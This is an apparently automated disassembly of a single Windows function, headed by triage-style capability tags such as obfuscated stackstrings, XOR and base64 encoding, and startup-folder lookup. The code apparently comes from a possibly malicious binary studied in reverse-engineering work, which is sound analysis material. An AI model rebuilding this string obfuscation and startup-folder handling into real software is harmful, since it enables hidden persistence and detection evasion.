Function at 0x424fd0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Get common file path
Get startup folder
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x509edb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa8c
push ebx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x314], esi
mov bl, dl
mov dword [ebp - 0x10], 1
push edi
mov dword [ebp - 0x60], eax
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push eax
mov byte [esi], al
call fcn.0046a5a0
mov byte [ebp - 4], 4
sub esp, 8
mov eax, esp
mov dword [ebp - 0x10], 1
lea ecx, [ebp - 0x500]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004666e0
add esp, 8
mov dword [ebp - 4], 5
xor ecx, ecx
mov dword [ebp - 0x8f], 0x8e9b8984
mov word [ebp - 0x8b], 0x98
mov byte [ebp - 0x89], 1
jmp 0x425070
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 5
jb 0x425070
lea eax, [ebp - 0x8f]
mov byte [ebp - 0x89], 0
push eax
mov ecx, esi
call fcn.0046d4f0
mov edi, eax
mov dword [ebp - 4], 6
mov dl, byte [edi]
mov cl, byte [ebp - 0x500]
mov byte [edi], cl
mov eax, dword [ebp - 0x4f8]
mov ecx, dword [ebp - 0x4f4]
mov byte [ebp - 0x500], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x4f8], edx
mov dword [ebp - 0x4f4], esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x4f8]
push dword [ebp - 0x500]
call fcn.0046a270
push 0x104
lea eax, [ebp - 0xa98]
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0xa98]
push eax
movzx eax, bl
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0xa98]
lea ecx, [ebp - 0x10c]
call fcn.0046d1b0
add esp, 4
mov dword [ebp - 4], 7
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov byte [ebp - 4], 8
cmp byte [ebp + 0x20], 0
jne 0x4254f5
push 0
sub esp, 0x18
lea eax, [ebp - 0x10c]
mov ecx, esp
mov dword [ebp - 0x38], esp
mov bl, 1
push eax
call fcn.00468b20
mov byte [ebp - 4], 9
mov byte [ebp - 4], 8
mov dl, bl
lea ecx, [ebp - 0x44c]
call fcn.00420110
add esp, 0x1c
mov byte [ebp - 4], 0xa
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x448]
mov esi, dword [ebp - 0x44c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x42529a
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x44c]
call fcn.0046ac50
mov byte [ebp - 4], 7
mov esi, dword [ebp - 0x30]
test esi, esi
je 0x42524a
mov edi, dword [ebp - 0x2c]
cmp esi, edi
je 0x4251f1
mov edi, edi
mov ecx, esi
call fcn.00402c80
add esi, 0x18
cmp esi, edi
jne 0x4251e0
mov esi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x28]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x42522b
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push esi
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x10c]
call fcn.00402c80
mov dword [ebp - 4], 1
lea ecx, [ebp + 8]
call fcn.00402c80
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x24]
call fcn.00402c80
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x3c]
call fcn.00402c80
mov eax, dword [ebp - 0x314]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
xor edi, edi
mov dword [ebp - 0x14], edi
test eax, eax
je 0x4254e1
xor ebx, ebx
mov dword [ebp - 0x34], ebx
lea esp, [esp]
add esi, ebx
mov word [ebp - 0x67], 0x5c
mov byte [ebp - 0x65], 0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x67]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4252c6
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xfc]
sub eax, edx
cmp eax, ecx
jb 0x4289f8
cmp dword [ebp - 0xf8], 0xf
lea eax, [ebp - 0x10c]
jbe 0x4252f9
mov eax, dword [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0x67]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x20]
lea ecx, [ebp - 0x6b4]
call fcn.00470ea0
or dword [ebp - 0x10], 0x80000000
lea edx, [ebp - 0x6b4]
push 0
sub esp, 0x18
mov byte [ebp - 0x21], 0
mov ecx, esp
mov dword [ebp - 0x38], esp
push esi
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x480]
mov dl, byte [ebp - 0x21]
call fcn.00420110
add esp, 0x1c
mov byte [ebp - 4], 0xd
and dword [ebp - 0x10], 0x7fffffff
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x6b4]
call fcn.00402c80
mov ecx, dword [ebp - 0x47c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x480]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4254a1
mov dword [ebp - 0x64], 0
test eax, eax
je 0x4254a1
xor ebx, ebx
mov dword [ebp - 0x50], ebx
nop
cmp dword [ebp + 0x38], 0xf
lea ecx, [esi + ebx]
lea eax, [ebp + 0x24]
jbe 0x4253af
mov eax, dword [ebp + 0x24]
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x4253ba
mov ecx, dword [ecx]
push dword [ebp + 0x34]
push eax
push 0
call fcn.0046ece0
add esp, 0xc
cmp eax, 0xffffffff
je 0x425463
mov ecx, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x30]
xor edi, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x1d0], eax
je 0x425436
mov ebx, dword [ebp - 0x44c]
add ebx, dword [ebp - 0x34]
lea ecx, [ecx]
cmp dword [ebx + 0x14], 0xf
mov eax, ebx
jbe 0x42540a
mov eax, dword [ebx]
cmp dword [esi + 0x14], 0xf
mov ecx, esi
jbe 0x425414
mov ecx, dword [esi]
push dword [ebx + 0x10]
mov edx, dword [esi + 0x10]
push eax
call fcn.004791c0
add esp, 8
test al, al
jne 0x425460
inc edi
add esi, 0x18
cmp edi, dword [ebp - 0x1d0]
jb 0x425400
mov ebx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x44c]
mov eax, dword [ebp - 0x2c]
push ecx
cmp eax, dword [ebp - 0x28]
je 0x425455
mov ecx, eax
call fcn.00468b20
add dword [ebp - 0x2c], 0x18
jmp 0x425463
push eax
lea ecx, [ebp - 0x30]
call fcn.00476700
jmp 0x425463
mov ebx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x47c]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x480]
add ebx, 0x18
mov esi, dword [ebp - 0x64]
imul ecx
inc esi
mov dword [ebp - 0x50], ebx
sar edx, 2
mov eax, edx
mov dword [ebp - 0x64], esi
shr eax, 0x1f
add eax, edx
cmp esi, eax
mov esi, dword [ebp - 0x480]
jb 0x4253a0
mov ebx, dword [ebp - 0x34]
mov edi, dword [ebp - 0x14]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x480]
call fcn.0046ac50
mov ecx, dword [ebp - 0x448]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x44c]
inc edi
sub ecx, esi
mov dword [ebp - 0x14], edi
imul ecx
add ebx, 0x18
sar edx, 2
mov eax, edx
mov dword [ebp - 0x34], ebx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x4252b0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x44c]
call fcn.0046ac50
jmp 0x42560d
xor eax, eax
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], eax
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], 0xf
mov byte [ebp - 0x310], al
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x28]
je 0x4255a4
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x310]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30c]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x308]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x304]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x300]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x2fc]
mov dword [ecx + 0x14], eax
add dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x300], 0
mov dword [ebp - 0x2fc], 0xf
mov byte [ebp - 0x310], 0
jmp 0x4255b4
lea eax, [ebp - 0x310]
push eax
push ecx
lea ecx, [ebp - 0x30]
call fcn.00476540
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2fc]
cmp ecx, 0xf
jbe 0x4255f2
mov edx, dword [ebp - 0x310]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4255e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x300], 0
mov dword [ebp - 0x2fc], 0xf
mov byte [ebp - 0x310], 0
mov ecx, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x30]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4256f6
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], 0xf
mov byte [ebp - 0x370], al
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x28]
je 0x4256d7
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x370]
mov dword [ecx], eax
mov eax, dword [ebp - 0x36c]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x368]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x364]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x360]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x35c]
mov dword [ecx + 0x14], eax
add dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x35c], 0xf
mov byte [ebp - 0x370], 0
jmp 0x4256e7
lea eax, [ebp - 0x370]
push eax
push ecx
lea ecx, [ebp - 0x30]
call fcn.00476540
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x370]
call fcn.00402c80
mov word [ebp - 0x6a], 0x5c
mov byte [ebp - 0x68], 0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x6a]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x425710
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xfc]
sub eax, edx
cmp eax, ecx
jb 0x4289f8
cmp dword [ebp - 0xf8], 0xf
lea eax, [ebp - 0x10c]
jbe 0x425743
mov eax, dword [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0x6a]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x20]
lea ecx, [ebp - 0x6cc]
call fcn.00470ea0
mov esi, dword [ebp - 0x10]
lea eax, [ebp + 0x3c]
sub esp, 0x18
lea edx, [ebp - 0x6cc]
or esi, 0x40000000
mov ecx, esp
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x38], esp
push eax
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.0040b2b0
and esi, 0xbfffffff
add esp, 0x18
mov bl, al
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x6cc]
call fcn.00402c80
test bl, bl
jne 0x42589a
mov dword [ebp - 0x205], 0x8986a4bb
xor ecx, ecx
mov dword [ebp - 0x201], 0x9cbd808a
mov dword [ebp - 0x1fd], 0xdc82968a
mov dword [ebp - 0x1f9], 0x989a8799
mov word [ebp - 0x1f5], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x205], al
inc ecx
cmp ecx, 0x10
jb 0x4257e4
sub esp, 0x18
mov byte [ebp - 0x1f4], 0
lea eax, [ebp - 0x205]
mov dword [ebp - 0x38], esp
mov ecx, esp
lea edx, [ebp - 0x10c]
push eax
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 0x13
mov byte [ebp - 4], 8
call fcn.0040b2b0
add esp, 0x18
test al, al
je 0x42589a
mov dword [ebp - 0x14d], 0x8b8a87ab
xor ecx, ecx
mov dword [ebp - 0x149], 0x8b9fbc87
mov dword [ebp - 0x145], 0x98df8389
mov dword [ebp - 0x141], 0x9b9b80
mov byte [ebp - 0x13d], 1
mov edi, edi
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x14d], al
inc ecx
cmp ecx, 0xf
jb 0x425860
lea ecx, [ebp - 0x14d]
mov byte [ebp - 0x13d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x425881
sub ecx, edx
lea eax, [ebp - 0x14d]
push ecx
push eax
lea ecx, [ebp + 0x3c]
call fcn.00468880
mov word [ebp - 0x6d], 0x5c
mov byte [ebp - 0x6b], 0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x6d]
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4258b0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xfc]
sub eax, edx
cmp eax, ecx
jb 0x4289f8
cmp dword [ebp - 0xf8], 0xf
lea eax, [ebp - 0x10c]
jbe 0x4258e3
mov eax, dword [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0x6d]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x20]
lea ecx, [ebp - 0x6e4]
call fcn.00470ea0
mov ebx, dword [ebp - 0x10]
lea eax, [ebp + 0x3c]
sub esp, 0x18
lea edx, [ebp - 0x6e4]
or ebx, 0x20000000
mov ecx, esp
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x38], esp
push eax
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x15
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x69c]
call fcn.0040acf0
add esp, 0x18
mov byte [ebp - 4], 0x16
and ebx, 0xdfffffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x6e4]
call fcn.00402c80
xor eax, eax
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x32c], eax
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], 0xf
mov byte [ebp - 0x330], al
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x68c], eax
je 0x425caa
push eax
push 1
sub esp, 0x28
mov eax, esp
mov dword [ebp - 0x38], esp
mov dword [ebp - 0x1d0], eax
mov dword [eax + 0x24], 0
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x69c]
lea ecx, [ebp - 0x620]
call fcn.0046d980
add esp, 0x30
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov dword [ebp - 0x20], 0x89b69b88
mov dword [ebp - 0x1c], 0x9a9d9599
mov word [ebp - 0x18], 0x100
jmp 0x4259f0
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 8
jb 0x4259f0
lea eax, [ebp - 0x20]
mov byte [ebp - 0x17], 0
push eax
lea ecx, [ebp - 0x620]
call fcn.0046d4f0
cmp byte [eax], 0
je 0x425c95
mov dword [ebp - 0x20], 0x89b69b88
xor ecx, ecx
mov dword [ebp - 0x1c], 0x9a9d9599
mov word [ebp - 0x18], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 8
jb 0x425a30
lea eax, [ebp - 0x20]
mov byte [ebp - 0x17], 0
push eax
lea ecx, [ebp - 0x620]
call fcn.0046d4f0
mov edx, eax
mov dword [ebp - 0x1a7], 0x988a8682
mov dword [ebp - 0x1a3], 0x8b999c92
xor ecx, ecx
mov dword [ebp - 0x19f], 0x979aaf8b
mov word [ebp - 0x19b], 0x8a
mov byte [ebp - 0x199], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1a7], al
inc ecx
cmp ecx, 0xd
jb 0x425a83
lea eax, [ebp - 0x1a7]
mov byte [ebp - 0x199], 0
push eax
mov ecx, edx
call fcn.0046d4f0
cmp byte [eax], 0
je 0x425c95
mov dword [ebp - 0x20], 0x89b69b88
xor ecx, ecx
mov dword [ebp - 0x1c], 0x9a9d9599
mov word [ebp - 0x18], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 8
jb 0x425ac8
lea eax, [ebp - 0x20]
mov byte [ebp - 0x17], 0
push eax
lea ecx, [ebp - 0x620]
call fcn.0046d4f0
mov edx, eax
mov dword [ebp - 0x1b6], 0x988a8682
mov dword [ebp - 0x1b2], 0x8b999c92
xor ecx, ecx
mov dword [ebp - 0x1ae], 0x979aaf8b
mov word [ebp - 0x1aa], 0x8a
mov byte [ebp - 0x1a8], 1
jmp 0x425b20
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1b6], al
inc ecx
cmp ecx, 0xd
jb 0x425b20
lea eax, [ebp - 0x1b6]
mov byte [ebp - 0x1a8], 0
push eax
mov ecx, edx
call fcn.0046d4f0
lea ecx, [ebp - 0x84c]
push ecx
mov ecx, eax
call fcn.0046d630
mov byte [ebp - 4], 0x1d
mov edx, eax
lea ecx, [ebp - 0x468]
call fcn.00402790
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x468]
push eax
call fcn.004dfb01
mov edx, dword [ebp - 0x464]
mov esi, eax
mov ecx, dword [ebp - 0x468]
sub edx, ecx
push edx
push ecx
push esi
call fcn.004e1370
mov eax, dword [ebp - 0x464]
xor ecx, ecx
sub eax, dword [ebp - 0x468]
add esp, 0x10
mov dword [ebp - 0x3a0], ecx
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x398], ecx
push eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x390], ecx
mov dword [ebp - 0x38c], ecx
lea ecx, [ebp - 0x3a0]
push esi
call fcn.00402ea0
mov dword [ebp - 0x60], 0x10
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x468]
call fcn.00402c00
lea ecx, [ebp - 0x330]
call fcn.00402c80
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0x328], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x324], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x31c], eax
mov eax, 0x10
mov dword [ebp - 0x60], eax
and eax, 0xffffffef
mov dword [ebp - 0x390], 0
mov dword [ebp - 0x38c], 0xf
mov byte [ebp - 0x3a0], 0
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x390], 0
mov dword [ebp - 0x38c], 0xf
mov byte [ebp - 0x3a0], 0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x84c]
call fcn.00402c80
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x618]
push dword [ebp - 0x620]
call fcn.0046a270
mov ecx, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x30]
xor edi, edi
sub ecx, esi
mov dword [ebp - 0x34], edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4289c2
mov edi, edi
cmp byte [ebp + 0x20], 0
jne 0x425d13
lea eax, [edi + edi*2]
cmp dword [esi + eax*8 + 0x10], 0
lea edx, [esi + eax*8]
je 0x425d13
lea eax, [ebp - 0x125]
mov word [ebp - 0x125], 0x5c
push eax
lea ecx, [ebp - 0x864]
mov byte [ebp - 0x123], 0
call fcn.0046d070
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x1f
or ebx, 2
jmp 0x425d5f
xor eax, eax
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], eax
mov dword [ebp - 0x494], eax
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], eax
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], al
lea esi, [ebp - 0x498]
mov dword [ebp - 4], 0x20
or ebx, 4
mov dword [ebp - 0x10], ebx
mov word [ebp - 0x70], 0x5c
mov byte [ebp - 0x6e], 0
mov dword [ebp - 4], 0x21
lea ecx, [ebp - 0x70]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x425d80
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xfc]
sub eax, edx
cmp eax, ecx
jb 0x4289f8
cmp dword [ebp - 0xf8], 0xf
lea eax, [ebp - 0x10c]
jbe 0x425db3
mov eax, dword [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0x70]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x20]
lea ecx, [ebp - 0x714]
call fcn.00470ea0
or ebx, 0x20000
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x714]
push esi
push eax
push dword [ebp + 0x20]
lea ecx, [ebp - 0x6fc]
call fcn.00470cf0
sub esp, 0x18
lea eax, [ebp + 0x3c]
or ebx, 0x40000
lea edx, [ebp - 0x6fc]
mov dword [ebp - 0x10], ebx
mov ecx, esp
mov dword [ebp - 0x64c], esp
push eax
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x23
mov byte [ebp - 4], 0x22
call fcn.0040b2b0
mov esi, dword [ebp - 0x10]
add esp, 0x18
and esi, 0xfffbffff
mov bl, al
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x6fc]
call fcn.00402c80
and esi, 0xfffdffff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x714]
call fcn.00402c80
mov dword [ebp - 4], 0x1f
mov eax, esi
test al, 4
je 0x425ec2
and eax, 0xfffffffb
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x484]
cmp ecx, 0xf
jbe 0x425ea7
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x425e9a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
mov eax, dword [ebp - 0x10]
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
mov dword [ebp - 4], 0x18
test al, 2
je 0x425ede
and eax, 0xfffffffd
lea ecx, [ebp - 0x864]
mov dword [ebp - 0x10], eax
call fcn.00402c80
test bl, bl
jne 0x4261c0
cmp byte [ebp + 0x20], bl
jne 0x425f70
mov eax, dword [ebp - 0x30]
lea ecx, [edi + edi*2]
cmp dword [eax + ecx*8 + 0x10], 0
lea edx, [eax + ecx*8]
je 0x425f70
mov dword [ebp - 0x1f3], 0x8986a4bb
xor ecx, ecx
mov dword [ebp - 0x1ef], 0x9cbd808a
mov dword [ebp - 0x1eb], 0xdc82968a
mov dword [ebp - 0x1e7], 0x989a8799
mov word [ebp - 0x1e3], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1f3], al
inc ecx
cmp ecx, 0x10
jb 0x425f32
lea eax, [ebp - 0x1f3]
mov byte [ebp - 0x1e2], 0
push eax
lea ecx, [ebp - 0x7a4]
call fcn.0046d070
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x24
mov edi, dword [ebp - 0x10]
or edi, 8
jmp 0x426017
mov dword [ebp - 0x13c], 0x8b8a87ab
xor ecx, ecx
mov dword [ebp - 0x138], 0x8b9fbc87
mov dword [ebp - 0x134], 0x98df8389
mov dword [ebp - 0x130], 0x9b9b80
mov byte [ebp - 0x12c], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x13c], al
inc ecx
cmp ecx, 0xf
jb 0x425fa1
xor eax, eax
mov byte [ebp - 0x12c], 0
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], eax
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x425fe8
sub ecx, edx
lea eax, [ebp - 0x13c]
push ecx
push eax
lea ecx, [ebp - 0x530]
call fcn.00402ea0
lea esi, [ebp - 0x530]
mov dword [ebp - 4], 0x25
mov edi, dword [ebp - 0x10]
or edi, 0x10
mov dword [ebp - 0x10], edi
mov word [ebp - 0x79], 0x5c
mov byte [ebp - 0x77], 0
mov dword [ebp - 4], 0x26
lea ecx, [ebp - 0x79]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426031
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xfc]
sub eax, edx
cmp eax, ecx
jb 0x4289f8
cmp dword [ebp - 0xf8], 0xf
lea eax, [ebp - 0x10c]
jbe 0x426064
mov eax, dword [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0x79]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x20]
lea ecx, [ebp - 0x72c]
call fcn.00470ea0
sub esp, 0x18
lea edx, [ebp - 0x72c]
or edi, 0x1000000
mov ecx, esp
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x63c], esp
push esi
call fcn.0046d3a0
add esp, 4
mov byte [ebp - 4], 0x27
mov byte [ebp - 4], 0x26
call fcn.0040b2b0
and edi, 0xfeffffff
add esp, 0x18
mov bl, al
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x72c]
call fcn.00402c80
mov dword [ebp - 4], 0x24
mov eax, edi
test al, 0x10
je 0x426132
and eax, 0xffffffef
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x51c]
cmp ecx, 0xf
jbe 0x426117
mov edx, dword [ebp - 0x530]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42610a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289fd
push ecx
push edx
call fcn.004dfaf3
mov eax, dword [ebp - 0x10]
add esp, 8
mov dword [ebp - 0x520], 0
mov dword [ebp - 0x51c], 0xf
mov byte [ebp - 0x530], 0
mov dword [ebp - 4], 0x18
test al, 8
je 0x42614e
and eax, 0xfffffff7
lea ecx, [ebp - 0x7a4]
mov dword [ebp - 0x10], eax
call fcn.00402c80
test bl, bl
je 0x4261bd
mov dword [ebp - 0x15e], 0x8b8a87ab
xor ecx, ecx
mov dword [ebp - 0x15a], 0x8b9fbc87
mov dword [ebp - 0x156], 0x98df8389
mov dword [ebp - 0x152], 0x9b9b80
mov byte [ebp - 0x14e], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x15e], al
inc ecx
cmp ecx, 0xf
jb 0x426183
lea ecx, [ebp - 0x15e]
mov byte [ebp - 0x14e], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4261a4
sub ecx, edx
lea eax, [ebp - 0x15e]
push ecx
push eax
